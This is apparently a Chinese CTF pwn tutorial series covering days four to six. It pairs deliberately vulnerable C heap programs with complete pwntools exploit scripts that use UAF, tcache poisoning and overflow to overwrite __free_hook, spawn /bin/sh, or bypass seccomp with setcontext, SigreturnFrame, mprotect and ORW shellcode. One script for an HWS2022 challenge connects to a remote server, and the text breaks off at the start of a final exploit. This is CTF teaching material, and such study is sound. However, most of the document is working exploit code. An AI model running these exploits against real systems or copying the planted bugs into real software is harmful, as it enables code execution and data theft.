虽然这个题也可以用修改大小的方式打,但是我这里的教学目的是教大家怎么控制tcache来实现unsortedbin的获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
//eheap
#include<stdio.h>
#include<stdlib.h>
char *heap[0x20];
int num=0;
void create()
{
    if(num>=0x20)
    {
        puts("no more");
        return;
    }
    int size;
    puts("how big");
    scanf("%d",&size);
    if(size>0x80)
    {
        return;
    }
    heap[num]=(char *)malloc(size);
    num++;
}
void show(){
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
    printf("Content:");
    printf("%s",heap[idx]);
  }
}
void dele()
{
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
      free(heap[idx]);
      heap[idx]=NULL;
      num--;
  }
}
void edit()
{
    int size;
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
      puts("how big u read");
      scanf("%d",&size);
      puts("Content:");
      read(0,heap[idx],size);
  }
}
void menu(void){
    puts("1.create");
    puts("2.dele");
    puts("3.edit");
    puts("4.show");
}
void main()
{
    int choice;
    while(1)
    {
        menu();
        scanf("%d",&choice);
        switch(choice)
        {
            case 1:create();break;
            case 2:dele();break;
            case 3:edit();break;
            case 4:show();break;
            default:puts("error");
        }
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
r=process('./eheap')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level='debug'
def add(size):
    r.sendlineafter("4.show\n",'1')
    r.sendlineafter("how big\n",str(size))
 
def dele(idx):
    r.sendlineafter("4.show\n",'2')
    r.sendlineafter("idx\n",str(idx))
 
def edit(idx,size,con):
    r.sendlineafter("4.show\n",'3')
    r.sendlineafter("idx\n",str(idx))
    r.sendlineafter("how big u read\n",str(size))
    r.sendafter("Content:\n",con)
def show(idx):
    r.sendlineafter("4.show\n",'4')
    r.sendlineafter("idx\n",str(idx))
 
add(0x78)
add(0x78)
add(0x78)
dele(1)
dele(0)
add(0x78)
edit(1,1,'1')
show(1)
r.recvuntil("Content:")
heap=u64(r.recv(6)+'\x00'*2)-0x001721
print(hex(heap))
edit(1,0x999,'a'*0x78+p64(0x81)+p64(heap))
add(0x78)
add(0x78)
pad = 'a'*0x20+p64(0x0000000007000000)
edit(3,0x100,pad)
dele(3)
add(0x78)
show(3)
r.recvuntil("Content:")
base=u64(r.recv(6)+'\x00'*2)-0x3ebee0
print(hex(base))
free=p64(base+libc.sym['__free_hook'])
sys=p64(base+libc.sym['system'])
dele(2)
edit(1,0x100,'a'*0x78+p64(0x81)+free)
add(0x78)
add(0x78)
edit(1,0x10,'/bin/sh\x00')
edit(4,0x10,sys)
dele(1)
r.interactive()

uaf任意申请基础利用

uaf漏洞任意申请配合打tcache乱杀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
//uaf
#include<stdio.h>
#include<stdlib.h>
char *heap[0x20];
int num=0;
void create()
{
    if(num>=0x20)
    {
        puts("no more");
        return;
    }
    int size;
    puts("how big");
    scanf("%d",&size);
    if(size>=0x20)
    {
        puts("no more");
        return;
    }
    heap[num]=(char *)malloc(size);
    num++;
}
void show(){
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
    printf("Content:");
    printf("%s",heap[idx]);
  }
}
void dele()
{
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
      free(heap[idx]);
      num--;
  }
}
void edit()
{
    int size;
    int i;
  int idx;
  char buf[4];
  puts("idx");
    (read(0, buf, 4));
    idx = atoi(buf);
  if (!heap[idx]) {
    puts("no hvae things\n");
  } else {
      puts("how big u read");
      scanf("%d",&size);
      if(size>0x20)
      {
          puts("too more");
          return;
      }
      puts("Content:");
      read(0,heap[idx],size);
  }
}
void menu(void){
    puts("1.create");
    puts("2.dele");
    puts("3.edit");
    puts("4.show");
}
void main()
{
    int choice;
    while(1)
    {
        menu();
        scanf("%d",&choice);
        switch(choice)
        {
            case 1:create();break;
            case 2:dele();break;
            case 3:edit();break;
            case 4:show();break;
            default:puts("error");
        }
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
r=process('./uaf')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level='debug'
def add(size):
    r.sendlineafter("4.show\n",'1')
    r.sendlineafter("how big\n",str(size))
 
def dele(idx):
    r.sendlineafter("4.show\n",'2')
    r.sendlineafter("idx\n",str(idx))
 
def edit(idx,size,con):
    r.sendlineafter("4.show\n",'3')
    r.sendlineafter("idx\n",str(idx))
    r.sendlineafter("how big u read\n",str(size))
    r.sendafter("Content:\n",con)
def show(idx):
    r.sendlineafter("4.show\n",'4')
    r.sendlineafter("idx\n",str(idx))
for i in range(7):
    add(0x10)
 
dele(0)
dele(1)
show(1)
r.recvuntil("Content:")
heap=u64(r.recv(6)+'\x00'*2)-0x001680+0x10
print(hex(heap))
edit(0,0x10,p64(heap))
add(0x10)
add(0x10)
add(0x10)
add(0x10)
add(0x10)
edit(7,0x20,p64(0)*4)
dele(5)
edit(5,0x10,p64(heap+0x20))
add(0x10)
add(0x10)
edit(10,0x20,p64(0x0000000007000000))
dele(7)
add(0x10)
show(10)
r.recvuntil("Content:")
base=u64(r.recv(6)+'\x00'*2)-0x3ebee0
print(hex(base))
free=base+libc.sym['__free_hook']
sys=base+libc.sym['system']
edit(10,0x20,p64(0)*4)
dele(10)
edit(10,0x20,p64(free))
add(0x10)
add(0x10)
edit(11,0x10,p64(sys))
edit(10,0x10,"/bin/sh\x00")
dele(10)
r.interactive()

第四天附件

链接:https://pan.baidu.com/s/1ZL4n5imOqex3ePh-7Jg0uQ?pwd=u6c1
提取码:u6c1
--来自百度网盘超级会员V3的分享

第五天

前言

从第五天开始分享就是分享一些堆常用手法,常用手法讲完了会讲一些比赛比较有意思的题,最近hgame就是杭电的新生赛的pwn题我觉得还不错,5道做了4道,有一个spfa算法题搞不定,算法菜鸡002BB39F

小溢出堆叠

堆的合并检测的绕过讲起来很麻烦,我们这里直接用万用法绕过检测即可

就用这题来讲,我们这里修改大小为0x421是因为tcache最大的大小是0x420,改成这个大小free后就可以避开tcache减少堆利用,而且可以获取到unsortedbin得到有效的libc_base,1是insure位过检测

关于合并检测的绕过就把要被合并的堆里面全填入p64(0x21)直接梭哈完全不用思考

具体其他的请看视频

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#include<stdio.h>
void init()
{
        setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    return 0;
}
int num=0;
char *heaparray[0x10];
size_t realsize[0x10];
void create(){
    if(num>=0x20)
    {
        puts("no more");
        return;
    }
    int size;
    puts("Size of Heap : ");
    scanf("%d",&size);
    heaparray[num]=(char *)malloc(size);
    realsize[num]=size;
    num++;
    
    }
void show(){
    int idx ;
    char buf[4];
    printf("Index :\n");
    read(0,buf,4);//输入堆块的index
    idx = atoi(buf);
    if(idx < 0 || idx >= 0x10){
        puts("Out of bound!");
        _exit(0);
    }
    if(heaparray[idx]){//根据序列进行查找
        //打印指定堆块内容
        printf("Size : %ld\nContent : %s\n",realsize[idx],heaparray[idx]);
        puts("Done !");
    }else{
        puts("No such heap !");
    }
}
void edit(){
    int idx ;
    char buf[4];
    printf("Index :\n");
    read(0,buf,4);//输入堆的序列号
    idx = atoi(buf);
    if(idx < 0 || idx >= 0x10){//判断序列号的正确性
        puts("Out of bound!");
        _exit(0);
    }
  //若序列号正确
    if(heaparray[idx]){
        printf("Content of heap : \n");
        read(0,heaparray[idx],realsize[idx]+8);
    //调用read_input函数输入堆的内容
        puts("Done !");
    }else{
        puts("No such heap !");
    }
}
void dele(){
    int idx ;
    char buf[4];
    printf("Index :\n");
    read(0,buf,4);//输入index
    idx = atoi(buf);
    if(idx < 0 || idx >= 0x10){//判断堆块序列的合法性
        puts("Out of bound!");
        _exit(0);
    }
    if(heaparray[idx]){
        free(heaparray[idx]);//free heaparray[idx]指针
        realsize[idx] = 0 ;
        puts("Done !");
        num--;
    }else{
        puts("No such heap !");
    }
}
void menu(void){
    puts("1.create");
    puts("2.dele");
    puts("3.edit");
    puts("4.show");
}
void main()
{
    init();
    int choice;
    while(1)
    {
        menu();
        scanf("%d",&choice);
        switch(choice)
        {
            case 1:create();break;
            case 2:dele();break;
            case 3:edit();break;
            case 4:show();break;
            default:puts("error");
        }
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
r=process('./test')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level='debug'
def add(size):
    r.sendlineafter("4.show\n",'1')
    r.sendlineafter("Size of Heap : \n",str(size))
 
def dele(idx):
    r.sendlineafter("4.show\n",'2')
    r.sendlineafter("Index :\n",str(idx))
 
def edit(idx,con):
    r.sendlineafter("4.show\n",'3')
    r.sendlineafter("Index :\n",str(idx))
    r.sendafter("Content of heap : \n",con)
def show(idx):
    r.sendlineafter("4.show\n",'4')
    r.sendlineafter("Index :\n",str(idx))
add(0x18)#0
add(0x78)#1
for i in range(10):
    add(0x78)
for i in range(2,10):
    edit(i,p64(0x21)*14)
edit(0,'a'*0x18+p64(0x421))
dele(1)
add(0x18)
show(1)
r.recvuntil("Content : ")
leak=u64(r.recv(6)+'\x00'*2)
print(hex(leak))
base=leak-0x3ec090
sys=libc.sym['system']+base
free=libc.sym['__free_hook']+base
dele(1)
edit(11,p64(free))
add(0x18)
add(0x18)
edit(11,"/bin/sh")
edit(12,p64(sys))
dele(11)
r.interactive()

堆沙盒orw读取未知文件名

Ubuntu18

核心思想:

第一步控制__free_hook

第二步往hook里面写入setcontext+53真实地址

第三步写入shellcode获取文件名然后free掉被写入shellcode的堆

第四步写入shellcode获取flag

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
#include<stdio.h>
#include <math.h>
#include <stdio.h>
#include<unistd.h>
#include <dirent.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
void sandbox(){
    struct sock_filter filter[] = {
    BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4),
    BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),
    BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),
    BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),
    BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),
    BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),
    };
    struct sock_fprog prog = {
    .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
    .filter = filter,
    };
    prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);
    prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);
}
int init()
{
    setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  return setvbuf(stderr, 0LL, 2, 0LL);
}
int num=0;
char *heaparray[0x10];
size_t realsize[0x10];
void create(){
    if(num>=0x20)
    {
        puts("no more");
        return;
    }
    int size;
    puts("Size of Heap : ");
    scanf("%d",&size);
    heaparray[num]=(char *)malloc(size);
    realsize[num]=size;
    num++;
    
    }
void show(){
    int idx ;
    char buf[4];
    printf("Index :\n");
    read(0,buf,4);//输入堆块的index
    idx = atoi(buf);
    if(idx < 0 || idx >= 0x10){
        puts("Out of bound!");
        _exit(0);
    }
    if(heaparray[idx]){//根据序列进行查找
        //打印指定堆块内容
        printf("Size : %ld\nContent : %s\n",realsize[idx],heaparray[idx]);
        puts("Done !");
    }else{
        puts("No such heap !");
    }
}
void edit(){
    int idx ;
    char buf[4];
    printf("Index :\n");
    read(0,buf,4);//输入堆的序列号
    idx = atoi(buf);
    if(idx < 0 || idx >= 0x10){//判断序列号的正确性
        puts("Out of bound!");
        _exit(0);
    }
  //若序列号正确
    if(heaparray[idx]){
        int size;
    puts("Size of Heap : ");
    scanf("%d",&size);
        printf("Content of heap : \n");
        read(0,heaparray[idx],size);
    //调用read_input函数输入堆的内容
        puts("Done !");
    }else{
        puts("No such heap !");
    }
}
void dele(){
    int idx ;
    char buf[4];
    printf("Index :\n");
    read(0,buf,4);//输入index
    idx = atoi(buf);
    if(idx < 0 || idx >= 0x10){//判断堆块序列的合法性
        puts("Out of bound!");
        _exit(0);
    }
    if(heaparray[idx]){
        free(heaparray[idx]);//free heaparray[idx]指针
        realsize[idx] = 0 ;
        heaparray[idx]=NULL;
        puts("Done !");
        num--;
    }else{
        puts("No such heap !");
    }
}
void menu(void){
    puts("1.create");
    puts("2.dele");
    puts("3.edit");
    puts("4.show");
}
void main()
{
    init();
    sandbox();
    int choice;
    while(1)
    {
        menu();
        scanf("%d",&choice);
        switch(choice)
        {
            case 1:create();break;
            case 2:dele();break;
            case 3:edit();break;
            case 4:show();break;
            default:puts("error");
        }
    }
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
from pwn import *
r=process('./orwheap')
#r=remote('101.43.94.145',30019)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level='debug'
context.arch="amd64"
def add(size):
    r.sendlineafter("4.show\n",'1')
    r.sendlineafter("Size of Heap : \n",str(size))
 
def dele(idx):
    r.sendlineafter("4.show\n",'2')
    r.sendlineafter("Index :\n",str(idx))
 
def edit(idx,size,con):
    r.sendlineafter("4.show\n",'3')
    r.sendlineafter("Index :\n",str(idx))
    r.sendlineafter("Size of Heap : \n",str(size))
    r.sendafter("Content of heap : \n",con)
def show(idx):
    r.sendlineafter("4.show\n",'4')
    r.sendlineafter("Index :\n",str(idx))
#----libc获取
add(0x420)
add(0x420)
dele(0)
add(0x90)
 
show(1)
r.recvuntil("Content : ")
base=u64(r.recv(6)+b'\x00'*2)-0x3ec090
print(hex(base))
 
 
#任意申请到__free_hook 控制该hook
for i in range(9):
    add(0x18)
dele(10)
dele(9)
dele(8)
dele(7)
dele(6)
dele(5)
dele(4)
dele(3)
free_hook=base+libc.sym['__free_hook']
edit(2,0x666,b'a'*0x18+p64(0x21)+p64(free_hook-0x10))
for i in range(9):
    add(0x18)
     
 
setcontext= base + libc.symbols['setcontext']+53
syscall= base+next(libc.search(asm("syscall\nret")))
edit(11,0x100,p64(setcontext))#将setcontext写入到hook里面
fake_rsp = free_hook&0xfffffffffffff000
print(hex(fake_rsp))
frame = SigreturnFrame()
frame.rax=0
frame.rdi=0
frame.rsi=fake_rsp
frame.rdx=0x2000
frame.rsp=fake_rsp
frame.rip=syscall  #构造一个read(0,fake_rsp,0x2000)
#整一个足够大的堆写入我们的frame也就是为了执行这个read
add(0x500)
edit(12,0x500,str(frame))
dele(12)#执行shellcode
#寄存器真实地址获取
prdi_ret = base+libc.search(asm("pop rdi\nret")).next()
prsi_ret = base+libc.search(asm("pop rsi\nret")).next()
prdx_ret = base+libc.search(asm("pop rdx\nret")).next()
prax_ret = base+libc.search(asm("pop rax\nret")).next()
jmp_rsp = base+libc.search(asm("jmp rsp")).next()
mprotect_addr = base + libc.sym['mprotect']
#写入shellcode把fake_rsp变成rwx段可以执行我们的orw
payload = p64(prdi_ret)+p64(fake_rsp)
payload += p64(prsi_ret)+p64(0x1000)
payload += p64(prdx_ret)+p64(7)
payload += p64(prax_ret)+p64(10)
payload += p64(syscall) #mprotect(fake_rsp,0x1000,7)
payload += p64(jmp_rsp)
payload += asm(shellcraft.open('./'))
payload += asm(shellcraft.getdents64(3,fake_rsp+0x300,0x100))#把文件目录下的文件名写入到该地方
payload += asm(shellcraft.write(1,fake_rsp+0x300,0x100))
payload += asm('''
        mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
        ''' % (fake_rsp+0x100))#返回到fake_rsp+0x100
r.send(payload)
raw_input()
r.recvuntil("flag")
name=r.recv(6)
flag='flag'+name
r.recv()
shellcode = asm(shellcraft.cat(flag))#cat(flag)
shellcode+= asm('''
        mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
        ''' % (fake_rsp+0x100))
r.send(shellcode)
print(r.recvuntil("}"))
r.interactive()

Ubuntu20

Ubuntu20的setcontext不再是从+53开始利用而是从+61开始

传参的寄存器变成了rdx不再是rdi,所以需要用ropper寻找gadget把rdi的内容传给rdx并且去call rdx去执行shell

其他的思路和Ubuntu18差不多,需要多获取的一个就是堆的地址。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from pwn import *
r=process('./orwheap')
#r=remote("101.43.94.145",12066)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level='debug'
context.arch="amd64"
#0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
def add(size):
    r.sendlineafter("4.show\n",'1')
    r.sendlineafter("Size of Heap : \n",str(size))
 
def dele(idx):
    r.sendlineafter("4.show\n",'2')
    r.sendlineafter("Index :\n",str(idx))
 
def edit(idx,size,con):
    r.sendlineafter("4.show\n",'3')
    r.sendlineafter("Index :\n",str(idx))
    r.sendlineafter("Size of Heap : \n",str(size))
    r.sendafter("Content of heap : \n",con)
def show(idx):
    r.sendlineafter("4.show\n",'4')
    r.sendlineafter("Index :\n",str(idx))
#libc获取
add(0x420)
add(0x420)
dele(0)
add(0x90)
 
show(1)
r.recvuntil("Content : ")
base=u64(r.recv(6)+b'\x00'*2)-0x1ebfd0
prdi_ret = base+libc.search(asm("pop rdi\nret")).next()
prsi_ret = base+libc.search(asm("pop rsi\nret")).next()
prdx_ret = base+libc.search(asm("pop rdx\nret")).next()
prax_ret = base+libc.search(asm("pop rax\nret")).next()
jmp_rsp = base+libc.search(asm("jmp rsp")).next()
mprotect_addr = base + libc.sym['mprotect']
print(hex(base))
for i in range(9):
    add(0x18)
#任意地址申请到__free_hook
dele(10)
dele(9)
dele(8)
dele(7)
dele(6)
dele(5)
dele(4)
dele(3)
free_hook=base+libc.sym['__free_hook']
edit(2,0x666,b'a'*0x18+p64(0x21)+p64(free_hook-0x10))
for i in range(9):
    add(0x18)
setcontext= base + libc.symbols['setcontext']+61
syscall= base+next(libc.search(asm("syscall\nret")))
 
fake_rsp = (free_hook&0xfffffffffffff000)
print(hex(fake_rsp))
frame = SigreturnFrame()
frame.rsp = base + libc.sym['__free_hook']+0x10
frame.rdi = fake_rsp
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = base + libc.sym['mprotect']#构造一个mprotect(fake_rsp,0x1000,7)
shell1 = '''
    xor rdi,rdi
    mov rsi,%d
    mov edx,0x1000
 
    mov eax,0
    syscall
 
    jmp rsi
    ''' % fake_rsp#构造一个read(0,fake_rsp,0x1000)
show(3)
r.recvuntil("Content : ")
frame_addr=u64(r.recv(6)+b'\x00'*2)+0x770#泄露堆地址也就是frame_addr
print(hex(frame_addr))
rdxx=0x0000000000154930+base
edit(11,0x300,p64(rdxx)+p64(0)+p64(base+libc.sym["__free_hook"]+0x18)+asm(shell1))#往hook里面写入shellcode+0x18是因为前面2个p64加上自己刚好0x18,后面紧紧跟着等下要执行的read
 
 
#这段shellcode在这里细讲下,就是rdxx这个gadget可以看上面的注释最顶上的那个,他是call rdx+0x20,所以要填充4个p64(0)去压栈后面等下call的就是setcontext+61,而setcontext+61执行的内容就是rdx的内容了也就是我们的str_frame这个结构体,结构体地址是frame_addr
str_frame = p64(0)*4+p64(base+libc.sym["setcontext"]+61) + str(frame)[0x28:]
payload1 = p64(0)+p64(frame_addr)#rdx = rdi+0x8
payload1+= str_frame
add(0x500)
edit(12,0x500,payload1)
dele(12)
#老样子获取目录下文件名然后读取该文件
payload=""
payload += asm(shellcraft.open('./'))
payload += asm(shellcraft.getdents64(3,fake_rsp+0x300,0x100))
payload += asm(shellcraft.write(1,fake_rsp+0x300,0x100))
payload += asm('''
        mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
        ''' % (fake_rsp+0x100))
r.send(payload)
r.recvuntil("flag")
name=r.recv(6)
flag='flag'+name
shellcode = asm(shellcraft.cat(flag))
shellcode+= asm('''
        mov rdi, 0; mov rsi, 0x%x;mov rdx, 0x100;mov rax, 0; syscall; push rsi; ret;
        ''' % (fake_rsp+0x100))
r.send(shellcode)
 
r.interactive()

第五天附件

链接:https://pan.baidu.com/s/1kHcrDz3nEHiRUxJij5OMdg?pwd=3kz1
提取码:3kz1
--来自百度网盘超级会员V3的分享

第六天

前言

今天主要讲下hgame的比赛题还有就是hws的题,hws做了2个pwn一个原题一个类似祥云杯的lemon,但是可以非预期掉

我已经准备跑路了,打ctf打的心累最近发生了一些事情,打算好好学算法(已经在刷LeetCode了)然后看下考研考网络空间安全要看什么书。。。提升学历去了,二本嗯,惨。(好好努力,卷死所有人)

所以这个赛棍pwn的课程更新可能最多一❤期2更。

HWS2022冬令营线上赛

送分题

第一个题送分题直接扒拉原文拿了个二血

https://www.anquanke.com/post/id/258512

grape

我不会house of banana,赛后问人的exp

题目给了三次任意任意堆地址写入,并且free堆块的时候没有清楚干净可以泄露libc地址和heap地址。可以用house of banana进行堆布局用largebinattack打rtld_global并伪造其结构体,因为开了沙盒64位的open,openat都不能用,但是可以切换到32位的去open,这个的话去年强网杯有考过,找retf改位数然后写orw的汇编就行。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
import time
from pwn import *
# context.log_level = 'debug'
 
r = lambda : p.recv()
rl = lambda: p.recvline()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()
 
def menu(idx):
    sa('Your choice >>> ',str(idx))
 
def add(idx, size,con):
    menu(1)
    sa('you wanner plant:',str(idx))
    sa("You want a small one / medium one / big one?\n", size)
    sa('your grape tree:',con)
 
def free(idx):
    menu(2)
    sa('idx of your tree:',str(idx))
 
def show(idx):
    menu(3)
    sla('idx of your tree:',str(idx))
 
def back(off, addr):
    menu(666)
    sla("present(s) now!", "yes")
    sa("Give me your lucky number:", str(off))
    sa("Generate your present:", p64(addr))
 
# p = process('./pwn')
p = remote("1.13.162.249","10002")
ld = ELF('./ld-2.29.so')
libc = ELF('./pwn').libc
 
rop_addr = 0x60606060
 
#leak addr
[add(i, 'big', 'a') for i in range(2)]
free(0)
free(1)
show(1)
rl()
heap = u64(rx(6).ljust(8,'\x00'))+0x001020-0x1234
heap_target = heap+0x000e34
success(hex(heap_target))
 
pl = '\x00'*0x400+p64(heap_target+0x20)[:-2]
add(2, 'big', pl)
free(2)
[add(i+3, 'big', 'a') for i in range(9)]
free(7)
free(9)
free(10)
free(11)
free(5)
show(5)
rl()
base = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['__malloc_hook']-0x10-96
f_hook = base+libc.sym['__free_hook']
rtld_global = base+ld.sym["_rtld_global"]+0x1ed000
setcontext = base + libc.sym['setcontext'] + 53
syscall = base+libc.search(asm("syscall; ret;", arch='amd64')).next()
ret = base + libc.sym['setcontext'] + 127
rdi = base+libc.search(asm("pop rdi; ret;", arch='amd64')).next()
rsi = base+libc.search(asm("pop rsi; ret;", arch='amd64')).next()
rdx = base+0x00000000001016d9
rcx = base+0x000000000012bda5
rax = base+libc.search(asm('pop rax; ret;', arch='amd64')).next()
retf = base+0x000000000012c351
 
fake = p64(0)*4
fake+= p64(setcontext)+p64(ret)
fake+= '\x00'*0x60
fake+= p64(f_hook&0xfffffffffffff000)
fake+= p64(0)*2
fake+= p64(0x200)
fake+= p64(0)*2
fake+= p64((f_hook&0xfffffffffffff000)+0x10)
fake+= p64(syscall)
fake+= '\x00'*0x30
fake+= p64(heap_target+0x120)*3
fake+= p64(0x10)
fake = fake.ljust(0x30c, '\x00')
fake+= p8(0x8)
 
success(hex(rtld_global))
 
add(0, 'small', 'a')
free(6)
free(8)
add(0, 'small', 'a') # 5 in largebin
back(0x00169c, rtld_global-0x20)
 
free(3)
add(0, 'big', fake)
free(3)
free(4)
add(0, 'small', 'a')
# gdb.attach(p,'b *'+str(syscall))
back(0x000e4c, base+0x219730)
back(0x000e5c, heap_target)
 
#mmap(rop_addr,0x7e,7,34,0,0)
rop = p64(rdi)
rop+= p64(rop_addr)
rop+= p64(rdi)
rop+= p64(rop_addr)
rop+= p64(rsi)
rop+= p64(0x7e)
rop+= p64(rdx)
rop+= p64(7)
rop+= p64(0)
rop+= p64(0)
rop+= p64(rcx)
rop+= p64(34)
rop+= p64(rax)
rop+= p64(9)
rop+= p64(syscall)
rop+= p64(rdi)
rop+= p64(0)
rop+= p64(rsi)
rop+= p64(rop_addr)
rop+= p64(rdx)
rop+= p64(0x100)
rop+= p64(0)
rop+= p64(0)
rop+= p64(rax)
rop+= p64(0)
rop+= p64(syscall)
rop+= p64(retf)
rop+= p32(rop_addr)
rop+= p32(0x23)
menu(1)
sa("grapes~Bye!", rop)
sleep(1)
sc = '''
    mov esp, 0x60606660;
    push 0x67616c66;
    push 0x6060665c;
    pop ebx;
    xor ecx, ecx;
    mov eax, 5;
    int 0x80;
 
    mov ebx, eax;
    push 0x60606260;
    pop ecx;
    mov edx, 0x100;
    mov eax, 3;
    int 0x80;
 
    mov ebx, 1;
    push 0x60606260;
    pop ecx;
    mov edx, 0x100;
    mov eax, 4;
    int 0x80;
    '''
shellcode = asm(sc,arch='i386')
sleep(1)
s(shellcode)
shell()

peach

类似2021祥云杯的lemon,如果被套进去打IO就很花时间,要处理一段加密,直接当堆沙盒打就行了。

exp

利用数组越界漏洞泄露libc,再用double free tcache直接改链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
 
